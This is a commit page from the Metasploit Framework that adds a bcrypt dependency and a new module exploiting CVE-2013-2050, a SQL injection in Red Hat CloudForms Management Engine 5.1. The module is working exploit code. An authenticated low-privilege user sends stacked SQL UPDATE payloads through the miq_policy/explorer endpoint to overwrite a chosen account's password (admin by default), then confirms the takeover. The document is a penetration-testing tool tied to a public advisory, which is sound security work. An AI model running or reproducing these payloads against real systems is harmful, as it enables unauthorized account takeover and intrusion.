Land #2744, @rcvalle module for CVE-2013-2050
commit
f21d666631
2
Gemfile
2
Gemfile
|
@ -2,6 +2,8 @@ source 'https://rubygems.org'
|
||||||
|
|
||||||
# Need 3+ for ActiveSupport::Concern
|
# Need 3+ for ActiveSupport::Concern
|
||||||
gem 'activesupport', '>= 3.0.0'
|
gem 'activesupport', '>= 3.0.0'
|
||||||
|
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
|
||||||
|
gem 'bcrypt-ruby'
|
||||||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||||
gem 'json'
|
gem 'json'
|
||||||
# Needed by msfgui and other rpc components
|
# Needed by msfgui and other rpc components
|
||||||
|
|
|
@ -13,6 +13,7 @@ GEM
|
||||||
i18n (~> 0.6, >= 0.6.4)
|
i18n (~> 0.6, >= 0.6.4)
|
||||||
multi_json (~> 1.0)
|
multi_json (~> 1.0)
|
||||||
arel (3.0.2)
|
arel (3.0.2)
|
||||||
|
bcrypt-ruby (3.1.2)
|
||||||
builder (3.0.4)
|
builder (3.0.4)
|
||||||
database_cleaner (1.1.1)
|
database_cleaner (1.1.1)
|
||||||
diff-lcs (1.2.4)
|
diff-lcs (1.2.4)
|
||||||
|
@ -61,6 +62,7 @@ PLATFORMS
|
||||||
DEPENDENCIES
|
DEPENDENCIES
|
||||||
activerecord
|
activerecord
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0)
|
||||||
|
bcrypt-ruby
|
||||||
database_cleaner
|
database_cleaner
|
||||||
factory_girl (>= 4.1.0)
|
factory_girl (>= 4.1.0)
|
||||||
fivemat (= 1.2.1)
|
fivemat (= 1.2.1)
|
||||||
|
|
|
@ -0,0 +1,175 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'bcrypt'
|
||||||
|
require 'digest'
|
||||||
|
require 'openssl'
|
||||||
|
|
||||||
|
class Metasploit4 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a SQL injection vulnerability in the "explorer"
|
||||||
|
action of "miq_policy" controller of the Red Hat CloudForms Management
|
||||||
|
Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier) by
|
||||||
|
changing the password of the target account to the specified password.
|
||||||
|
},
|
||||||
|
'Author' => 'Ramon de C Valle',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2013-2050'],
|
||||||
|
['CWE', '89'],
|
||||||
|
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062']
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'SSL' => true
|
||||||
|
},
|
||||||
|
'DisclosureDate' => 'Nov 12 2013'
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(443),
|
||||||
|
OptString.new('USERNAME', [true, 'Your username']),
|
||||||
|
OptString.new('PASSWORD', [true, 'Your password']),
|
||||||
|
OptString.new('TARGETUSERNAME', [true, 'The username of the target account', 'admin']),
|
||||||
|
OptString.new('TARGETPASSWORD', [true, 'The password of the target account', 'smartvm']),
|
||||||
|
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
|
||||||
|
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def password_for_newer_schema
|
||||||
|
# Newer versions use ActiveModel's SecurePassword.
|
||||||
|
BCrypt::Password.create(datastore['TARGETPASSWORD'])
|
||||||
|
end
|
||||||
|
|
||||||
|
def password_for_older_schema
|
||||||
|
# Older versions use ManageIQ's MiqPassword.
|
||||||
|
if datastore['TARGETPASSWORD'].empty?
|
||||||
|
'v1:{}'
|
||||||
|
else
|
||||||
|
password = '1234567890123456'
|
||||||
|
salt = '6543210987654321'
|
||||||
|
cipher = OpenSSL::Cipher.new('AES-256-CBC')
|
||||||
|
cipher.encrypt
|
||||||
|
cipher.key = Digest::SHA256.digest("#{salt}#{password}")[0...32]
|
||||||
|
encrypted = cipher.update(datastore['TARGETPASSWORD']) + cipher.final
|
||||||
|
"v1:{#{Rex::Text.encode_base64(encrypted)}}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def password_reset?
|
||||||
|
print_status("Trying to log into #{target_url('dashboard')} using the target account...")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
|
||||||
|
'vars_post' => {
|
||||||
|
'user_name' => datastore['TARGETUSERNAME'],
|
||||||
|
'user_password' => datastore['TARGETPASSWORD']
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
if res.nil?
|
||||||
|
print_error('No response from remote host')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.body =~ /"Error: (.*)"/
|
||||||
|
print_error($1)
|
||||||
|
false
|
||||||
|
else
|
||||||
|
true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status("Logging into #{target_url('dashboard')}...")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'),
|
||||||
|
'vars_post' => {
|
||||||
|
'user_name' => datastore['USERNAME'],
|
||||||
|
'user_password' => datastore['PASSWORD']
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
if res.nil?
|
||||||
|
print_error('No response from remote host')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.body =~ /"Error: (.*)"/
|
||||||
|
print_error($1)
|
||||||
|
return
|
||||||
|
else
|
||||||
|
session = $1 if res.headers['Set-Cookie'] =~ /_vmdb_session=(\h*)/
|
||||||
|
|
||||||
|
if session.nil?
|
||||||
|
print_error('Failed to retrieve the current session id')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Newer versions don't accept POST requests.
|
||||||
|
print_status("Sending password-reset request to #{target_url('miq_policy', 'explorer')}...")
|
||||||
|
send_request_cgi(
|
||||||
|
'cookie' => "_vmdb_session=#{session}",
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
|
||||||
|
'vars_get' => {
|
||||||
|
'profile[]' => value_for_newer_schema
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
if password_reset?
|
||||||
|
print_good('Password reset successfully')
|
||||||
|
return
|
||||||
|
else
|
||||||
|
print_error('Failed to reset password')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Sending (older-schema) password-reset request to #{target_url('miq_policy', 'explorer')}...")
|
||||||
|
send_request_cgi(
|
||||||
|
'cookie' => "_vmdb_session=#{session}",
|
||||||
|
'method' => datastore['HTTP_METHOD'],
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'),
|
||||||
|
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
|
||||||
|
'profile[]' => value_for_older_schema
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
if password_reset?
|
||||||
|
print_good('Password reset successfully')
|
||||||
|
else
|
||||||
|
print_error('Failed to reset password')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def target_url(*args)
|
||||||
|
(ssl ? 'https' : 'http') +
|
||||||
|
if rport.to_i == 80 || rport.to_i == 443
|
||||||
|
"://#{vhost}"
|
||||||
|
else
|
||||||
|
"://#{vhost}:#{rport}"
|
||||||
|
end + normalize_uri(target_uri.path, *args)
|
||||||
|
end
|
||||||
|
|
||||||
|
def value_for_newer_schema
|
||||||
|
"1 = 1); UPDATE users SET password_digest = '#{password_for_newer_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --"
|
||||||
|
end
|
||||||
|
|
||||||
|
def value_for_older_schema
|
||||||
|
"1 = 1); UPDATE users SET password = '#{password_for_older_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --"
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue